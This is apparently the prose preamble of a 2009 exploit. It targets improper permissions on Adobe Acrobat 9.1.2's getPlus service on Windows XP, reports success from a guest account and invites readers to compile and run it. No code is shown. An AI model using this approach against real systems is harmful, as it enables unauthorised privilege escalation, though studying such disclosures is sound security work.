***********************************************************************************************************
I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the
brief information provided by Nine:Situations:Group (http://www.milw0rm.com/exploits/9199). Exploiting
improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2)
isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically
use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just
the first time though). Change the values as needed, compile and run. Things could be more or less silent,
lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :)

Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated)

But maybe give Adobe a break? 2009 has been a rough year for them already, heh. Sleep time.
